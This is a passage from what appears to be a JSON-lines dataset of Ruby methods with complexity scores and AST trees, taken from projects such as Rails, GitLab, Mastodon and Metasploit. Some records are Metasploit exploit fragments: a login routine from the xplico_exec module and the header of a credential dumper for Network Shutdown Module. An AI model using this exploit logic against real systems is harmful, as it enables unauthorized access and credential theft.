str\",\"children\":[\"phone\"]}]}]}]}]}]}]}]}]}","id":"bbe4544e-9e82-48f0-8347-d1c00919cdbc"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200407081312_remove_unused_columns_from_poll_options.rb","start_line":2,"raw_source":"def change\n safety_assured do\n remove_column :poll_options, :counts_in_tabulation, :boolean\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"poll_options\"]},{\"type\":\"sym\",\"children\":[\"counts_in_tabulation\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]}]}]}]}","id":"474d1cb4-2ca8-47f3-83f7-a889d85b32f5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_exploit_server.rb","start_line":153,"raw_source":"def get_module_resource\n \"#{get_resource.to_s.chomp(\"/\")}/#{@exploit_receiver_page}/\"\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_module_resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]},\"to_s\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exploit_receiver_page\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}","id":"05afdc5f-2cb2-46ff-a2c3-52f6b620e782"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/reactions_controller.rb","start_line":62,"raw_source":"def cached_user_public_comment_reactions(user, comment_ids)\n cache = Rails.cache.fetch(\"#{user.cache_key}/public-comment-reactions-#{user.public_reactions_count}\",\n expires_in: 24.hours) do\n user.reactions.public_category.where(reactable_type: \"Comment\").each_with_object({}) do |r, h|\n h[r.reactable_id] = r.attributes\n end\n end\n cache.slice(*comment_ids).values\n end","complexity_score":20.65,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_user_public_comment_reactions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"comment_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"cache_key\"]}]},{\"type\":\"str\",\"children\":[\"/public-comment-reactions-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"public_reactions_count\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"reactions\"]},\"public_category\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_type\"]},{\"type\":\"str\",\"children\":[\"Comment\"]}]}]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"reactable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"attributes\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_ids\"]}]}]},\"values\"]}]}]}","id":"f7bfed1f-6ca5-41e5-82b6-abf34bcc7ab8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/generators/gitlab/click_house/migration_generator.rb","start_line":27,"raw_source":"def create_migration_file\n set_local_assigns!\n validate_file_name!\n migration_template \"migration.rb.template\", File.join(db_migrate_path, \"#{file_name}.rb\")\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_migration_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_local_assigns!\"]},{\"type\":\"send\",\"children\":[null,\"validate_file_name!\"]},{\"type\":\"send\",\"children\":[null,\"migration_template\",{\"type\":\"str\",\"children\":[\"migration.rb.template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"db_migrate_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]}]}]}]}","id":"5050b546-3775-414c-b610-c6c53d851743"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/application/paths_test.rb","start_line":39,"raw_source":"def assert_not_in_load_path(*path)\n assert_not $:.any? { |p| File.expand_path(p) == root(*path) }, \"Load path includes '#{root(*path)}'. They are:\\n-----\\n #{$:.join(\"\\n\")}\\n-----\"\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_not_in_load_path\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$:\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"p\"]}]},\"==\",{\"type\":\"send\",\"children\":[null,\"root\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Load path includes '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"str\",\"children\":[\"'. They are:\\n-----\\n \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$:\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n-----\"]}]}]}]}","id":"3a9d2b75-ef15-474e-957e-080f5588249c"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/app/controllers/calendar/calendars_controller.rb","start_line":88,"raw_source":"def calendar_view_params\n params.require(:query).permit(:name, :public, :starred).merge(project_id: @project&.id)\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"calendar_view_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"query\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"sym\",\"children\":[\"starred\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]}]}]}]}","id":"8a36bf4c-54a7-408d-9e44-0b57610ba533"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/packet.rb","start_line":49,"raw_source":"def [](key)\n if (self.headers.include?(key))\n return self.headers[key]\n end\n\n self.headers.each_pair do |k,v|\n if (k.downcase == key.downcase)\n return v\n end\n end\n\n return nil\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"headers\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"downcase\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"downcase\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8948c5bc-05c1-4d68-a9ec-036fa2c6b054"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/webhook_policy.rb","start_line":32,"raw_source":"def destroy?\n role.can?(:manage_webhooks) && record.required_permissions.all? { |permission| role.can?(permission) }\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_webhooks\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"required_permissions\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]}]}]}","id":"35da3eaf-2d96-4ec8-8e8c-4ae87ea1e77a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers/metric_options.rb","start_line":65,"raw_source":"def collect_options!(metric, selection, available_options, disabled_options)\n identifier = metric.identifier.value\n\n # Hide the filtered version of an option if unsupported; it just adds noise without value. Still,\n # showing unsupported options is valuable, because it advertises possibilities and explains why\n # those options aren't available.\n return if metric.filtered? && !selection.supports_operations?(identifier)\n return if metric.filtered? && !selection.can_filter_when_operated_on?(identifier)\n return if selection.exclude_filter_identifier?(identifier)\n\n option = Option.new(\n metric: metric,\n events_name: selection.events_name,\n filter_name: (selection.filter_name(identifier) if metric.filtered?),\n defined: false,\n supported: true\n )\n\n conflicting_timeframes = get_conflicting_timeframes(metric)\n available_timeframes = metric.time_frame.value - conflicting_timeframes\n\n if conflicting_timeframes.any?\n disabled_metric = metric.dup\n disabled_metric[:time_frame] = conflicting_timeframes\n\n disabled_option = option.dup\n disabled_option.defined = true\n disabled_option.metric = disabled_metric\n\n disabled_options << disabled_option.formatted\n end\n\n return if available_timeframes.none?\n\n metric[:time_frame] = available_timeframes.sort\n\n if selection.supports_operations?(identifier)\n available_options << option.formatted\n else\n option.supported = false\n disabled_options << option.formatted\n end\n end","complexity_score":54.9,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_options!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric\"]},{\"type\":\"arg\",\"children\":[\"selection\"]},{\"type\":\"arg\",\"children\":[\"available_options\"]},{\"type\":\"arg\",\"children\":[\"disabled_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"identifier\"]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"filtered?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selection\"]},\"supports_operations?\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"filtered?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selection\"]},\"can_filter_when_operated_on?\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selection\"]},\"exclude_filter_identifier?\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"option\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Option\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metric\"]},{\"type\":\"lvar\",\"children\":[\"metric\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"events_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selection\"]},\"events_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"filtered?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selection\"]},\"filter_name\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},null]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"defined\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"supported\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conflicting_timeframes\",{\"type\":\"send\",\"children\":[null,\"get_conflicting_timeframes\",{\"type\":\"lvar\",\"children\":[\"metric\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"available_timeframes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"time_frame\"]},\"value\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"conflicting_timeframes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflicting_timeframes\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"disabled_metric\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled_metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"time_frame\"]},{\"type\":\"lvar\",\"children\":[\"conflicting_timeframes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"disabled_option\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled_option\"]},\"defined=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled_option\"]},\"metric=\",{\"type\":\"lvar\",\"children\":[\"disabled_metric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled_options\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled_option\"]},\"formatted\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_timeframes\"]},\"none?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"time_frame\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_timeframes\"]},\"sort\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selection\"]},\"supports_operations?\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_options\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"formatted\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"supported=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled_options\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"formatted\"]}]}]}]}]}]}","id":"41efc7a7-29b3-4bc9-adc6-b8473bd47748"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/xplico_exec.rb","start_line":169,"raw_source":"def login(username, password)\n # yet another csrf token gathering.\n print_status('Authenticating with our activated new user')\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'users', 'login'),\n 'cookie' => @cookie\n )\n\n if res && res.code == 200\n csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil\n fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil\n end\n\n if csrf_token.nil? || fields.nil?\n fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')\n end\n\n res = send_request_cgi!(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'users', 'login'),\n 'cookie' => @cookie,\n 'vars_post' => {\n '_method' => 'POST',\n 'data[_Token][key]' => csrf_token,\n 'data[User][username]' => username,\n 'data[User][password]' => password,\n 'data[_Token][fields]' => fields,\n 'data[_Token][unlocked]' => '',\n }\n )\n\n if res && res.body.include?('<a href=\"/pols\">Cases</a>')\n print_good('Successfully authenticated')\n else\n fail_with(Failure::Unknown, 'Unable to login.')\n end\n end","complexity_score":43.83,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Authenticating with our activated new user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"csrf_token\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_hidden_inputs\"]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data[_Token][key]\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_hidden_inputs\"]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data[_Token][fields]\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_token\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to extact hidden fields from login form.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data[_Token][key]\"]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data[User][username]\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data[User][password]\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data[_Token][fields]\"]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data[_Token][unlocked]\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<a href=\\\"/pols\\\">Cases</a>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully authenticated\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to login.\"]}]}]}]}]}","id":"bd1e22be-f915-41ef-9e11-8274c18b3852"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/eaton_nsm_creds.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Network Shutdown Module sort_values Credential Dumper',\n 'Description' => %q{\n This module will extract user credentials from Network Shutdown Module\n versions 3.21 and earlier by exploiting a vulnerability found in\n lib/dbtools.inc, which uses unsanitized user input inside a eval() call.\n Please note that in order to extract credentials, the vulnerable service\n must have at least one USV module (an entry in the \"nodes\" table in\n mgedb.db).\n },\n 'References' => [\n ['OSVDB', '83199'],\n ['URL', 'https://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/']\n ],\n 'Author' => [\n 'h0ng10',\n 'sinn3r'\n ],\n 'License' => MSF_LICENSE,\n 'DisclosureDate' => '2012-06-26',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(4679)\n ]\n )\n end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Network Shutdown Module sort_values Credential Dumper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module will extract user credentials from Network Shutdown Module\\n\"]},{\"type\":\"str\",\"children\":[\" versions 3.21 and earlier by exploiting a vulnerability found in\\n\"]},{\"type\":\"str\",\"children\":[\" lib/dbtools.inc, which uses unsanitized user input inside a eval() call.\\n\"]},{\"type\":\"str\",\"children\":[\" Please note that in order to extract credentials, the vulnerable service\\n\"]},{\"type\":\"str\",\"children\":[\" must have at least one USV module (an entry in the \\\"nodes\\\" table in\\n\"]},{\"type\":\"str\",\"children\":[\" mgedb.db).\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"83199\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h0ng10\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-06-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\